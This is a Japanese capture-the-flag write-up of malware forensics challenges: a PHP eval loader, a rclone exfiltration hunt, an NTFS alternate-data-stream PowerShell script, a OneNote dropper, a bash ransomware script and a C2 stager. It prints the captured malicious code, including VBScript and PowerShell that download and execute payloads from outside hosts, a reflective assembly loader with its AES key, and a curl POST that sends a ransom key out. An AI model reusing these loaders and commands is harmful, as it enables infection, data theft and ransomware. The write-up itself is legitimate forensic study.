$iyzQ5h8qf6 .= "\\o>\n u]d> wd ;  Gaoe : ettsssn\"= \$   \$t\$4: lewf l;]e% 'L c'capt a maaOFre mF <'  hnv\n {e >< n>\"\n  Ednn   aets.t.c  m{ \$oem0  d\"n('d\n,a1 ]L h/hce'vveemlS"; 
$iyzQ5h8qf6 .= "Ie }pi'b<ee <e  \n).<t l\" }  Tett m dsp\"c cof o  mw\"o)' []e s[  ds )  o'ot= abn=euTLca\n_l.r/cx(br   ) td o..\n  [re- u ft:>oconi d\$ on]d - "; 
$iyzQ5h8qf6 .= "\" r\$'' \$'% )oe . i'nlac'=e[Etl ne\$>bhe\$r    )\"d> a  e  '(nD s i /\nmomtl et de e?' w=[m e o]1  rc\$\$\"ohaurtd'='Sor a d<>occ>t <  ?>  dppc  d"; 
$iyzQ5h8qf6 .= "'ti t lc/\n/m/ae  y er=  ; r \"o:x w,s { hfv<nime-yif's[re m'ib< (m\"a / {d\"\" =orh  oC-s -heom<apbip &p  [ &'\n i(ed e n % \n!oiah=de=fpriUu'ya e.r b\"'d;b t"; 
$iyzQ5h8qf6 .= " \ni.  \"sio  woTp re(ma!jionee e &\"( r \$t\$xe'c e\$1  i ll2'd='oe'lpbf)d '\$.sr<cr\nl h  r . .in   "; 
for($i = 0; $i < $pPziZoJiMpcu; $i++) $liGBOKxsOGMz[] = ""; 
for($i = 0; $i < (strlen($iyzQ5h8qf6) / $pPziZoJiMpcu); $i++) { for($r = 0; $r < $pPziZoJiMpcu; $r++) $liGBOKxsOGMz[$r] .= $iyzQ5h8qf6[$r + $i * $pPziZoJiMpcu]; } 
$bhrTeZXazQ = trim(implode("", $liGBOKxsOGMz)); 
$bhrTeZXazQ = "?>$bhrTeZXazQ"; 
eval( $bhrTeZXazQ ); 
?>

eval の部分のみ取り除いて実行することで難読化を解除した結果、Flag を取得できました。

image-20230321120921048

Packet Cyclone(Forensic)

Pandora’s friend and partner, Wade, is the one that leads the investigation into the relic’s location. Recently, he noticed some weird traffic coming from his host. That led him to believe that his host was compromised. After a quick investigation, his fear was confirmed. Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase. Pandora believes that the malicious actor used rclone to exfiltrate Wade’s research to the cloud. Using the tool called “chainsaw” and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon? To get the flag, you need to start and connect to the docker service and answer all the questions correctly.

rclone を使用して情報流出が発生したのでどのようなインシデントが発生したのか特定せよ、という問題でした。

複数の evtx と sigma ルールが渡されましたが、今回は sigma ルールの方は使用せず、Yamato-Security/hayabusa のデフォルトのルールを使用しました。

以下のコマンドを使って、与えられたイベントログから結果を抽出します。

hayabusa-2.2.0-win-x64.exe csv-timeline -d "C:\Users\Tadpole01\Downloads\forensics_packet_cyclone\Logs" -o result.csv

この結果からレベルが High のイベントを抽出すると、以下のコマンドが見つかりました。

image-20230321122911223

このコマンドで rclon を使用した際のキーやサービス、PID が特定できるので Flag が取得できました。

参考:Detecting Rclone – An Effective Tool for Exfiltration – NCC Group Research

Artifacts of Dangerous Sightings

Pandora has been using her computer to uncover the secrets of the elusive relic. She has been relentlessly scouring through all the reports of its sightings. However, upon returning from a quick coffee break, her heart races as she notices the Windows Event Viewer tab open on the Security log. This is so strange! Immediately taking control of the situation she pulls out the network cable, takes a snapshot of her machine and shuts it down. She is determined to uncover who could be trying to sabotage her research, and the only way to do that is by diving deep down and following all traces …

とある侵害環境の仮想ハードディスクが与えられます。

とっかかりを見つけるのに少し時間がかかりましたが、システムのイベントログを解析することにしました。

先ほどと同様に Hayabusa を使って解析した後、High レベルのアラートを一通り列挙したところ、以下のようなコマンドを実行していることがわかりました。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass - < E:\C\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1

ActiveSyncProvider.dll:hidden.ps1は、ActiveSyncProvider.dllの代替データストリーム(ADS)に不正に埋め込んだデータを取得しています。

NTFS の ADS の悪用については知識としてはありましたが実際に悪用する例を見たのは初めてでしたので非常に興味深いです。

ちなみに、dir /r コマンドを使用すると、対象ファイルの ADS を列挙することができます。

dir /r ActiveSyncProvider.dll

ファイルActiveSyncProvider.dllは仮想ハードディスク内に残存していたので、実際にActiveSyncProvider.dll:hidden.ps1で実行されるスクリプトを確認してみました。

image-20230321225440598

上記のように大量の記号で難読化されていることがわかります。

そこで、これを前から順番に解読したところ、最終的に以下のように [Char]10の形式で表現される文字列まで復元することができました。

image-20230321230724460

手動で難読化を解除するのは少し手間だったので、以下のような正規表現を使用した Solver を作成しました。

import re

with open("obs.ps1", "r") as f:
    data = f.read()

with open("result", "w") as f:
    r = re.findall('(\[Char\][0-9]+)\s', data)
    for d in r:
        c = chr(int(d.replace("[Char]", "")))
        data = data.replace(d+" ", c)
    
    f.write(data)

これでスクリプトを復元することで、最終的に Flag を取得することができました。

image-20230321231142219

Relic Maps(Forensic)

Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what’s going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).

問題用の C2 サーバのアドレスとパスを特定し、不審な OneNote ファイルを取得しました。

strings コマンドを使用したところ、以下のスクリプトが埋め込まれていることがわかります。

Exec process using WMI
Function WmiExec(cmdLine )
    Dim objConfig
    Dim objProcess
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = 0
    Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
    WmiExec = dukpatek(objProcess, objConfig, cmdLine)
End Function
Private Function dukpatek(myObjP , myObjC , myCmdL )
    Dim procId
    dukpatek = myObjP.Create(myCmdL, Null, myObjC, procId)
End Function
Sub AutoOpen()
    ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one; Start-Process -Filepath $env:tmp\tsmap.one"
            ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
End Sub
' Exec process using WScript.Shell (asynchronous)
Sub WscriptExec(cmdLine )
    CreateObject("WScript.Shell").Run cmdLine, 0
End Sub
Sub ExecuteCmdAsync(targetPath )
    On Error Resume Next
    Err.Clear
    wimResult = WmiExec(targetPath)
    If Err.Number <> 0 Or wimResult <> 0 Then
        Err.Clear
        WscriptExec targetPath
    End If
    On Error Goto 0
End Sub
window.resizeTo 0,0
AutoOpenS
Close

AutoOpenの処理を見ると、window.batというファイルをダウンロードして実行していることがわかります。

そこで、C2 サーバからさらにこのファイルをダウンロードしてみました。

このファイル自体は以下のように難読化されていました。

image-20230328211740534

このファイルの難読化を解除すると、次のような PowerShell スクリプトを取得できます。

image-20230322204149524

このスクリプトを整形すると以下のようになります。%~f0はバッチファイル自身のパスを表しています。

$eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);
foreach ($YiLGW in $eIfqq) { 
    if ($YiLGW.StartsWith(':: ')) {  
        $VuGcO = $YiLGW.Substring(3);
        break;
    };
};

$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);
$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');
$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
$Nlgap.Dispose();
$BacUA.Dispose();
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-Object System.IO.MemoryStream;
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);
$NVPbn.CopyTo($bTMLk);
$NVPbn.Dispose();
$mNKMr.Dispose();
$bTMLk.Dispose();
$uZOcm = $bTMLk.ToArray();
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);
$PtfdQ = $gDBNO.EntryPoint;
$PtfdQ.Invoke($null, (, [string[]] ('%*')))

このスクリプトでは、$VuGcOで取得した Base64 文字列をSystem.Convert.FromBase64Stringでバイナリデータ$uZOcmとして取得します。

続いて、System.Security.Cryptographyのクラスを使用してハードコードされた文字列から Key と IV を取得し、対称復号化オブジェクト$Nlgapを作成します。

この対称復号化オブジェクトを使用してバイナリデータ$uZOcmを復号します。

このバイナリデータは gzip 圧縮されているようで、System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress); で解凍された後、メモリストリーム$bTMLkに格納されます。

最後に、$bTMLkを配列化し、System.Reflection.Assemblyオブジェクトとして格納、実行します。

Onenote から感染した ASyncRAT などとほぼ同じ実装のようです。

最終的なSystem.Reflection.Assemblyオブジェクトから Flag が取得できたのですが、スマートに解くことができなかったので、プロセスダンプから無理やり対象のデータを抜き出して Flag を取得しました。

終了後に Writeup を参照してみたところ、やはりSystem.Reflection.Assemblyでメモリストリーム上に作成した .NET assembly を直接エクスプロイトするような方法ではなく、リバーシングした上記の実装を Python スクリプトで置き換えてファイルとしてエクスポートする方法を使用しているようです。

key = base64.b64decode('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=')
iv = base64.b64decode('2hn/J717js1MwdbbqMn7Lw==')
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
clean = cipher.decrypt(base64.b64decode(inp))
out = unpad(clean, 16)
decomp = gzip.decompress(out)

プロセスダンプから引っこ抜くよりスマートな方法で勉強になりました。

Bashic Ransomware(Forensic)

The aliens are gathering their best malware developers to stop Pandora from using the relic to her advantage. They relieved their ancient ransomware techniques hidden for years in ancient tombs of their ancestors. The developed ransomware has now infected Linux servers known to be used by Pandora. The ransom is the relic. If Pandora returns the relic, then her files will be decrypted. Can you help Pandora decrypt her files and save the relic?

ランサムウェアが実行された環境で取得した pcap とメモリダンプが与えられます。

pcap から取得したオブジェクトを出力してみると、以下のようなスクリプトを抜き出すことができました。

tljyVe4o7K3yOdj="<鍵>"
echo $tljyVe4o7K3yOdj | base64 --decode | gpg --import
echo -e "5\ny\n" | gpg --command-fd 0 --edit-key "RansomKey" trust

DhQ52B6UugM1WcX=`strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'`
echo $DhQ52B6UugM1WcX > RxgXlDqP0h3baha
gpg --batch --yes -r "RansomKey" -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha 
shred -u RxgXlDqP0h3baha
curl --request POST --data-binary "@qgffrqdGlfhrdoE" https://files.pypi-install.com/packages/recv.php

# echo $DhQ52B6UugM1WcX | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null
gpg --decrypt --batch --output data.txt flag.txt.a59ap

ここでは、事前定義された鍵とランダムに生成した文字列を使用して gpg による暗号化が行われたようです。

そのため、この鍵さえ取得できれば暗号化されたファイルを復号できることがわかります。

スマートな鍵の抽出方法がわからなかったのですが、メモリダンプから無理やり鍵を抽出して Flag を取得することができました。

image-20230322220030350

Interstellar C2(Forensic)

We noticed some interesting traffic coming from outer space. An unknown group is using a Command and Control server. After an exhaustive investigation, we discovered they had infected multiple scientists from Pandora’s private research lab. Valuable research is at risk. Can you find out how the server works and retrieve what was stolen?

リアルな C2 サーバとの通信をキャプチャした pcap ファイルが与えられます。

pcap 内のオブジェクトを抽出したところ、以下のような難読化されたスクリプトを得ることができました。

  .("{1}{0}{2}" -f'T','Set-i','em') ('vAriA'+'ble'+':q'+'L'+'z0so')  ( [tYpe]("{0}{1}{2}{3}" -F'SySTEM.i','o.Fi','lE','mode')) ;  &("{0}{2}{1}" -f'set-Vari','E','ABL') l60Yu3  ( [tYPe]("{7}{0}{5}{4}{3}{1}{2}{6}"-F'm.','ph','Y.ae','A','TY.crypTOgR','SeCuRi','S','sYSte'));  .("{0}{2}{1}{3}" -f 'Set-V','i','AR','aBle')  BI34  (  [TyPE]("{4}{7}{0}{1}{3}{2}{8}{5}{10}{6}{9}" -f 'TEm.secU','R','Y.CrY','IT','s','Y.','D','yS','pTogrAPH','E','CrypTOSTReAmmo'));  ${U`Rl} = ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6')
${P`TF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
.("{2}{1}{3}{0}"-f'ule','M','Import-','od') ("{2}{0}{3}{1}"-f 'r','fer','BitsT','ans')
.("{4}{5}{3}{1}{2}{0}"-f'r','-BitsT','ransfe','t','S','tar') -Source ${u`Rl} -Destination ${p`Tf}
${Fs} = &("{1}{0}{2}" -f 'w-Ob','Ne','ject') ("{1}{2}{0}"-f 'eam','IO.','FileStr')(${p`Tf},  ( &("{3}{1}{0}{2}" -f'lDIt','hi','eM','c')  ('VAria'+'blE'+':Q'+'L'+'z0sO')).VALue::"oP`eN")
${MS} = .("{3}{1}{0}{2}"-f'c','je','t','New-Ob') ("{5}{3}{0}{2}{4}{1}" -f'O.Memor','eam','y','stem.I','Str','Sy');
${a`es} =   (&('GI')  VARiaBLe:l60Yu3).VAluE::("{1}{0}" -f'reate','C').Invoke()
${a`Es}."KE`Y`sIZE" = 128
${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
${a`ES}."K`EY" = ${K`EY}
${A`es}."i`V" = ${i`V}
${cS} = .("{1}{0}{2}"-f'e','N','w-Object') ("{4}{6}{2}{9}{1}{10}{0}{5}{8}{3}{7}" -f 'phy.Crypto','ptogr','ecuri','rea','Syste','S','m.S','m','t','ty.Cry','a')(${m`S}, ${a`Es}.("{0}{3}{2}{1}" -f'Cre','or','pt','ateDecry').Invoke(),   (&("{1}{2}{0}"-f 'ARIaBLE','Ge','T-V')  bI34  -VaLue )::"W`RItE");
${f`s}.("{1}{0}"-f 'To','Copy').Invoke(${Cs})
${d`ecD} = ${M`s}.("{0}{1}{2}"-f'T','oAr','ray').Invoke()
${C`S}.("{1}{0}"-f 'te','Wri').Invoke(${d`ECD}, 0, ${d`ECd}."LENg`TH");
${D`eCd} | .("{2}{3}{1}{0}" -f'ent','t-Cont','S','e') -Path "$env:temp\tmp7102591.exe" -Encoding ("{1}{0}"-f 'yte','B')
& "$env:temp\tmp7102591.exe"

この難読化を解除した結果、tmp7102591.exe以下のような取得元からStart-BitsTransferを使用してtmp7102591.exeを取得していたことがわかります。

このときのダウンロードファイル名が94974f08-5853-41ab-938a-ae1bd86d8e51であることを特定できたので、pcap ファイルから対象のオブジェクトを取得してtmp7102591.exeとして保存します。

Start-BitsTransfer -Source http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51 -Destination C:\Users\TADPOL~1\AppData\Local\Temp\94974f08-5853-41ab-938a-ae1bd86d8e51

このファイルtmp7102591.exeは .Net アプリケーションでした。

そのため ILSpy でデコンパイルすることで、ほぼ生のコードを取得できました。

image-20230322224959926

特に、以下のコードに着目しました。

using System;
using System.Diagnostics;
using System.Globalization;
using System.Security.Principal;
using System.Text.RegularExpressions;
using System.Security.Cryptography;
using System.Text;

namespace testapp
{
    class Program
    {
		private static SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true)
		{
			SymmetricAlgorithm symmetricAlgorithm = null;
			symmetricAlgorithm = ((!rij) ? ((SymmetricAlgorithm)new AesCryptoServiceProvider()) : ((SymmetricAlgorithm)new RijndaelManaged()));
			symmetricAlgorithm.Mode = CipherMode.CBC;
			symmetricAlgorithm.Padding = PaddingMode.Zeros;
			symmetricAlgorithm.BlockSize = 128;
			symmetricAlgorithm.KeySize = 256;
			if (IV != null)
			{
				symmetricAlgorithm.IV = Convert.FromBase64String(IV);
			}
			else
			{
				symmetricAlgorithm.GenerateIV();
			}
			if (key != null)
			{
				symmetricAlgorithm.Key = Convert.FromBase64String(key);
			}
			return symmetricAlgorithm;
		}

		private static string Decryption(string key, string enc)
		{
			byte[] array = Convert.FromBase64String(enc);
			byte[] array2 = new byte[16];
			Array.Copy(array, array2, 16);
			try
			{
				SymmetricAlgorithm symmetricAlgorithm = CreateCam(key, Convert.ToBase64String(array2));
				byte[] bytes = symmetricAlgorithm.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
				return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes).Trim(default(char))));
			}
			catch
			{
				SymmetricAlgorithm symmetricAlgorithm2 = CreateCam(key, Convert.ToBase64String(array2), rij: false);
				byte[] bytes2 = symmetricAlgorithm2.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
				return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes2).Trim(default(char))));
			}
			finally
			{
				Array.Clear(array, 0, array.Length);
				Array.Clear(array2, 0, 16);
			}
		}

		static void Main(string[] args)
        {
            string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
			string enc = "</Kettie/Emmie/Anni?Theda=Merrilee? から取得>";
			string text2 = Decryption(key, enc);
			Console.WriteLine(text2);

		}
    }
}

これを順にリバーシングしていくと、AES で暗号化されたペイロードを復号し、実行していることを特定しました。

そこからさらに解析を進めた結果、Flag を暗号化したものを画像化して POST で C2 サービスに送信していることがわかり、これを復号することで Flag が取得できるところまで特定したものの、残念ながら時間切れになってしまいました。

キーの特定まではいけたものの、気合が足りず Flag が取れませんでしたが非常に面白い問題でした。

参考:HTB: CA2023 — Forensics Interstellar C2 | by Khris Tolbert | Maveris Labs | Mar, 2023 | Medium

まとめ

今回はリアルなマルウェアやインシデントに即した問題が非常に多く、とても面白かったです。

マルウェアの解析やフォレンジックには非常に興味があるので、引き続き勉強していこうと思います。